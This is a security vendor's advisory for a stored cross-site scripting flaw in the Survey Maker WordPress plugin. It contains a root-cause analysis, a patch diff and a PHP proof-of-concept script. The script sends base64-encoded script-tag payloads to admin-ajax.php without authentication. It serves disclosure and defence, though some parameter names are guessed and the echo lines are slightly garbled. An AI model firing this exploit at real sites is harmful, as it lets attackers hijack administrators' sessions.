Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-65565: Survey Maker by AYS <= 5.2.3.3 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin survey-maker
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.2.3.3
Patched Version 5.2.3.4
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65565: The Survey Maker by AYS WordPress plugin versions up to and including 5.2.3.3 contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw resides in the public-facing AJAX handler and the unauthenticated survey submission flow. Attackers can inject arbitrary JavaScript that executes in the browser of any user who views a page containing the injected data. CVSS score 7.2 reflects high confidentiality and integrity impact with no privileges required.

The root cause is insufficient input sanitization and output escaping in the plugin’s public class. In `class-survey-maker-public.php`, the `ays_survey_ajax` function (around line 164) lacks a nonce check, allowing unauthenticated requests. The `ays_finish_survey` method (around line 230) decodes the `additional_wp_data` parameter using `base64_decode` and `json_decode` without validating the decoded array structure or sanitizing its values. When populating the post author metadata (lines 405-440), the code uses `esc_attr` for some fields but fails to escape `survey_current_post_author_roles` and other fields properly. The patch replaces these with strict type checks, sanitization functions (`sanitize_text_field`, `esc_html`, `esc_url_raw`, `absint`), and proper output escaping on the final composed link and role string.

Exploitation requires sending a POST request to `/wp-admin/admin-ajax.php` with an action that triggers `ays_survey_ajax`, such as the action used for survey submission. The attacker sets the `additional_wp_data` parameter to a base64-encoded JSON object containing malicious script payloads in fields like `survey_current_post_author_roles`, `survey_current_post_title`, or `survey_current_post_author_website_url`. Because the plugin stores this data without sanitization, the payload persists and executes when an administrator views survey results or a page that renders the stored data. No authentication or nonce is needed in the vulnerable version.

The patch adds a nonce check (`check_ajax_referer`) and a request method check to `ays_survey_ajax`, preventing unauthenticated access. It also rewrites the `additional_wp_data` handling to validate types, use strict base64 decoding, and apply `esc_html`, `sanitize_text_field`, `esc_url_raw`, and `absint` to each field. The output escaping for the author website URL is strengthened with `esc_url` and `esc_html`, and the roles array is sanitized element-wise before being escaped. These changes neutralize the XSS vector by breaking the injection chain at input and output stages.

If exploited, this vulnerability allows an unauthenticated attacker to store malicious JavaScript that executes in the context of any user viewing the affected page, including administrators. This can lead to session hijacking, privilege escalation, defacement, or redirection to malicious sites. The impact is severe because the attacker does not need any credentials, and the payload persists until removed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/survey-maker/public/class-survey-maker-public.php
+++ b/survey-maker/public/class-survey-maker-public.php
@@ -134,6 +134,7 @@
             wp_localize_script( $this->plugin_name . '-plugin', 'aysSurveyMakerAjaxPublic', array(
                 'ajaxUrl' => admin_url('admin-ajax.php'),
                 'warningIcon' => SURVEY_MAKER_PUBLIC_URL . "/images/warning.svg",
+                'ajaxNonce' => wp_create_nonce( 'ays_survey_ajax_nonce' ),
                 'autofill_nonce'  => wp_create_nonce('survey_maker_autofill_nonce')
             ) );
             wp_localize_script( $this->plugin_name, 'aysSurveyLangObj', array(
@@ -160,12 +161,19 @@
 		wp_enqueue_script( $this->plugin_name . '-popups', plugin_dir_url( __FILE__ ) . 'js/survey-maker-public-popups.js', array( 'jquery' ), $this->version, false );
         wp_localize_script( $this->plugin_name . '-popups', 'aysSurveyMakerPopupsAjaxPublic', array(
             'ajaxUrl' => admin_url('admin-ajax.php'),
+            'ajaxNonce' => wp_create_nonce( 'ays_survey_ajax_nonce' ),
         ) );
 	}

 	public function ays_survey_ajax(){
 		global $wpdb;

+        if ( 'POST' !== strtoupper( isset( $_SERVER['REQUEST_METHOD'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_METHOD'] ) ) : '' ) ) {
+            wp_send_json_error( array( 'message' => __( 'Invalid request method.', 'survey-maker' ) ), 405 );
+        }
+
+        check_ajax_referer( 'ays_survey_ajax_nonce', '_ajax_nonce' );
+
 		$results = array(
 			"status" => false
 		);
@@ -189,14 +197,12 @@

             ob_end_clean();
             $ob_get_clean = ob_get_clean();
-			echo json_encode( $results );
-			wp_die();
+            wp_send_json( $results );
 		}

         ob_end_clean();
         $ob_get_clean = ob_get_clean();
-		echo json_encode( $results );
-		wp_die();
+		wp_send_json( $results );
 	}

 	public function ays_finish_survey( $data ){
@@ -224,7 +230,16 @@
                 $answered_questions = isset( $data[ $name_prefix . 'answers-' . $unique_id ] ) && !empty( $data[ $name_prefix . 'answers-' . $unique_id ] ) ? $data[ $name_prefix . 'answers-' . $unique_id ] : array();
                 $questions_data = isset( $data[ $name_prefix . 'questions-' . $unique_id ] ) && !empty( $data[ $name_prefix . 'questions-' . $unique_id ] ) ? $data[ $name_prefix . 'questions-' . $unique_id ] : array();

-                $survey_additional_wp_data = isset($data[ $valid_name_prefix . 'additional_wp_data' ]) && $data[ $valid_name_prefix . 'additional_wp_data' ] != '' ? json_decode(base64_decode($data[ $valid_name_prefix . 'additional_wp_data' ]) , true) : array();
+                $survey_additional_wp_data = array();
+                if ( isset( $data[ $valid_name_prefix . 'additional_wp_data' ] ) && is_string( $data[ $valid_name_prefix . 'additional_wp_data' ] ) && '' !== $data[ $valid_name_prefix . 'additional_wp_data' ] ) {
+                    $decoded_additional_wp_data = base64_decode( wp_unslash( $data[ $valid_name_prefix . 'additional_wp_data' ] ), true );
+                    if ( false !== $decoded_additional_wp_data ) {
+                        $decoded_additional_wp_data = json_decode( $decoded_additional_wp_data, true );
+                        if ( is_array( $decoded_additional_wp_data ) ) {
+                            $survey_additional_wp_data = $decoded_additional_wp_data;
+                        }
+                    }
+                }

                 $survey_current_page_link = isset( $data['ays_'.$valid_name_prefix.'_current_page_link'] ) && $data['ays_'.$valid_name_prefix.'_current_page_link'] != '' ? sanitize_url( $data['ays_'.$valid_name_prefix.'_current_page_link'] ) : "";

@@ -405,30 +420,38 @@
                 $survey_current_post_author_website_url = '';
                 $survey_current_post_author_roles = '';
                 $survey_current_post_title = '';
-                if(!empty($survey_additional_wp_data)){
-                    if(isset($survey_additional_wp_data['survey_post_type']) && $survey_additional_wp_data['survey_post_type'] == 'post'){
-                        $survey_current_post_id = isset($survey_additional_wp_data['survey_post_id']) && $survey_additional_wp_data['survey_post_id'] != '' ? $survey_additional_wp_data['survey_post_id'] : '';
+                if ( ! empty( $survey_additional_wp_data ) ) {
+                    $sanitize_additional_text = static function( $value ) {
+                        return is_scalar( $value ) ? esc_html( sanitize_text_field( wp_unslash( (string) $value ) ) ) : '';
+                    };
+
+                    $survey_post_type = isset( $survey_additional_wp_data['survey_post_type'] ) && is_scalar( $survey_additional_wp_data['survey_post_type'] ) ? sanitize_key( wp_unslash( (string) $survey_additional_wp_data['survey_post_type'] ) ) : '';
+                    if ( 'post' === $survey_post_type ) {
+                        $survey_current_post_id = isset( $survey_additional_wp_data['survey_post_id'] ) && is_scalar( $survey_additional_wp_data['survey_post_id'] ) ? absint( $survey_additional_wp_data['survey_post_id'] ) : '';
                     }

-                    $survey_current_post_author_email = isset($survey_additional_wp_data['survey_post_author_email']) && $survey_additional_wp_data['survey_post_author_email'] != '' ? esc_attr($survey_additional_wp_data['survey_post_author_email']) : '';
-                    $survey_current_post_author_nickname = isset($survey_additional_wp_data['survey_current_post_author_nickname']) && $survey_additional_wp_data['survey_current_post_author_nickname'] != '' ? esc_attr($survey_additional_wp_data['survey_current_post_author_nickname']) : '';
-                    $survey_current_post_author_display_name = isset($survey_additional_wp_data['survey_current_post_author_display_name']) && $survey_additional_wp_data['survey_current_post_author_display_name'] != '' ? esc_attr($survey_additional_wp_data['survey_current_post_author_display_name']) : '';
-                    $survey_current_post_author_first_name = isset($survey_additional_wp_data['survey_current_post_author_first_name']) && $survey_additional_wp_data['survey_current_post_author_first_name'] != '' ? esc_attr($survey_additional_wp_data['survey_current_post_author_first_name']) : '';
-                    $survey_current_post_author_last_name = isset($survey_additional_wp_data['survey_current_post_author_last_name']) && $survey_additional_wp_data['survey_current_post_author_last_name'] != '' ? esc_attr($survey_additional_wp_data['survey_current_post_author_last_name']) : '';
-                    $survey_current_post_author_website_url = isset($survey_additional_wp_data['survey_current_post_author_website_url']) && $survey_additional_wp_data['survey_current_post_author_website_url'] != '' ? esc_attr($survey_additional_wp_data['survey_current_post_author_website_url']) : '';
-                    $survey_current_post_author_roles = isset($survey_additional_wp_data['survey_current_post_author_roles']) && $survey_additional_wp_data['survey_current_post_author_roles'] != '' ? $survey_additional_wp_data['survey_current_post_author_roles'] : '';
-                    $survey_current_post_title = isset($survey_additional_wp_data['survey_current_post_title']) && $survey_additional_wp_data['survey_current_post_title'] != '' ? esc_attr($survey_additional_wp_data['survey_current_post_title']) : '';
+                    $survey_current_post_author_email = isset( $survey_additional_wp_data['survey_post_author_email'] ) && is_scalar( $survey_additional_wp_data['survey_post_author_email'] ) ? esc_html( sanitize_email( wp_unslash( (string) $survey_additional_wp_data['survey_post_author_email'] ) ) ) : '';
+                    $survey_current_post_author_nickname = isset( $survey_additional_wp_data['survey_current_post_author_nickname'] ) ? $sanitize_additional_text( $survey_additional_wp_data['survey_current_post_author_nickname'] ) : '';
+                    $survey_current_post_author_display_name = isset( $survey_additional_wp_data['survey_current_post_author_display_name'] ) ? $sanitize_additional_text( $survey_additional_wp_data['survey_current_post_author_display_name'] ) : '';
+                    $survey_current_post_author_first_name = isset( $survey_additional_wp_data['survey_current_post_author_first_name'] ) ? $sanitize_additional_text( $survey_additional_wp_data['survey_current_post_author_first_name'] ) : '';
+                    $survey_current_post_author_last_name = isset( $survey_additional_wp_data['survey_current_post_author_last_name'] ) ? $sanitize_additional_text( $survey_additional_wp_data['survey_current_post_author_last_name'] ) : '';
+                    $survey_current_post_author_website_url = isset( $survey_additional_wp_data['survey_current_post_author_website_url'] ) && is_scalar( $survey_additional_wp_data['survey_current_post_author_website_url'] ) ? esc_url_raw( wp_unslash( (string) $survey_additional_wp_data['survey_current_post_author_website_url'] ) ) : '';
+                    $survey_current_post_author_roles = isset( $survey_additional_wp_data['survey_current_post_author_roles'] ) ? $survey_additional_wp_data['survey_current_post_author_roles'] : '';
+                    $survey_current_post_title = isset( $survey_additional_wp_data['survey_current_post_title'] ) ? $sanitize_additional_text( $survey_additional_wp_data['survey_current_post_title'] ) : '';
                 }

                 if ( ! empty( $survey_current_post_author_website_url ) ) {
-                    $survey_current_post_author_website_url = '<a href="'.$survey_current_post_author_website_url.'" target="_blank">'.$survey_current_post_author_website_url.'</a>';
+                    $survey_current_post_author_website_url = '<a href="' . esc_url( $survey_current_post_author_website_url ) . '" target="_blank" rel="noopener noreferrer">' . esc_html( $survey_current_post_author_website_url ) . '</a>';
                 }

-                if ( ! empty( $survey_current_post_author_roles ) && $survey_current_post_author_roles != "" ) {
-                    if ( is_array( $survey_current_post_author_roles ) ) {
-                        $survey_current_post_author_roles = implode( ", ", $survey_current_post_author_roles );
-                    }
+                if ( is_array( $survey_current_post_author_roles ) ) {
+                    $survey_current_post_author_roles = array_filter( $survey_current_post_author_roles, 'is_scalar' );
+                    $survey_current_post_author_roles = array_map( static function( $role ) {
+                        return sanitize_text_field( wp_unslash( (string) $role ) );
+                    }, $survey_current_post_author_roles );
+                    $survey_current_post_author_roles = implode( ', ', $survey_current_post_author_roles );
                 }
+                $survey_current_post_author_roles = is_scalar( $survey_current_post_author_roles ) ? esc_html( sanitize_text_field( wp_unslash( (string) $survey_current_post_author_roles ) ) ) : '';

                 $get_site_title = get_bloginfo('name');
                 $get_site_description = get_bloginfo('description');
--- a/survey-maker/survey-maker.php
+++ b/survey-maker/survey-maker.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Survey Maker
  * Plugin URI:        https://ays-pro.com/wordpress/survey-maker
  * Description:       Survey Maker plugin allows you to create unlimited surveys with unlimited sections and unlimited questions.
- * Version:           5.2.3.3
+ * Version:           5.2.3.4
  * Author:            Survey Maker team
  * Author URI:        https://ays-pro.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'SURVEY_MAKER_VERSION', '5.2.3.3' );
+define( 'SURVEY_MAKER_VERSION', '5.2.3.4' );
 define( 'SURVEY_MAKER_NAME_VERSION', '1.0.0' );
 define( 'SURVEY_MAKER_NAME', 'survey-maker' );
 define( 'SURVEY_MAKER_DB_PREFIX', 'ayssurvey_' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65565 - Survey Maker by AYS <= 5.2.3.3 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Change to your target WordPress URL

// Malicious payload embedded in the additional_wp_data JSON structure.
// The payload is placed in the roles field, which is not escaped in the vulnerable version.
$payload = [
    'survey_post_type' => 'post',
    'survey_post_id' => '1',
    'survey_current_post_author_roles' => ['<script>alert("XSS")</script>'],
    'survey_current_post_title' => '<script>alert("XSS")</script>',
    'survey_current_post_author_website_url' => 'http://example.com'
];

$encoded_payload = base64_encode(json_encode($payload));

// The AJAX action must be one that triggers the ays_survey_ajax handler.
// In the vulnerable version, no nonce is required.
$post_data = [
    'action' => 'ays_survey_ajax', // Replace with the actual action name if different
    'ays_survey_additional_wp_data' => $encoded_payload, // Parameter name may vary based on prefix
    // Add other required fields to pass survey submission validation
    'ays_survey_answers_1' => 'test',
    'ays_survey_questions_1' => '1',
    'ays_survey_unique_id' => '1',
];

$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// After sending, the stored XSS may trigger when an admin views the survey results or logs.
// Check for the payload by inspecting survey entries or pages that display additional_wp_data fields.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.